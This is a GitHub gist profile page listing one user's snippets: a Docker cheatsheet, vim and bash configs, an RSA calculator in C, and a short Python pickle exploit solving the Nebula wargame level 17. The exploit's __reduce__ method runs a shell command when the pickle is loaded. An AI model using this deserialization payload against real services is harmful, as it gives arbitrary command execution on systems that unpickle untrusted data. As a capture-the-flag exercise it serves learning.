Skip to content

Instantly share code, notes, and snippets.

View debuti's full-sized avatar
😀

Borja Garcia debuti

😀
  • Spain
View GitHub Profile
@debuti
debuti / docker-cmds
Last active June 11, 2018 14:05
Docker cmds cheatsheet
# State flow diagram
https://i.stack.imgur.com/vGuay.png
# Delete containers
docker rm $(docker ps -a -q)
# List containers
docker container ls -a
# Delete images
@debuti
debuti / .vimrc
Created April 9, 2018 10:40
My vimconfig
" Enable syntax highlighting
syntax on
" Disable use of the mouse for visual
set mouse-=a
" Display line numbers on the left
set number
@debuti
debuti / .bash_profile
Last active February 1, 2019 15:20
My gitconfig and related utils
# Taken from https://gist.github.com/kevinchappell/09ca3805a9531b818579
parse_git_branch() {
git branch 2> /dev/null | sed -e '/^[^*]/d' -e 's/* \(.*\)/(\1)/'
}
PS1='${debian_chroot:+($debian_chroot)}\[\033[1;31m\]\u\[\033[1;37m\]@\[\033[1;32m\]\h\[\033[1;37m\]:\[\033[1;36m\]\w \[\033[1;35m\]$(parse_git_branch) \[\033[1;33m\]\$ \[\033[0m\]'
@debuti
debuti / pick.py
Created December 30, 2017 23:28
Nebula lvl17
import cPickle
import subprocess
class Exploit(object):
def __reduce__(self):
return (subprocess.Popen, (('/bin/bash','-c','getflag>/tmp/flag'), 0 ,None))
print cPickle.dumps(Exploit())
@debuti
debuti / gmprsa
Last active December 20, 2017 21:49
A little tool to perform RSA key calculations, all the data is requested in base10
#include <gmp.h>
#include <stdio.h>
#include <assert.h>
/// gcc -o gmprsa gmprsa.c -g -lgmp && ./gmprsa
int main(){
char inputStr[1024];
mpz_t p,q,e,n,r,p_,q_,d;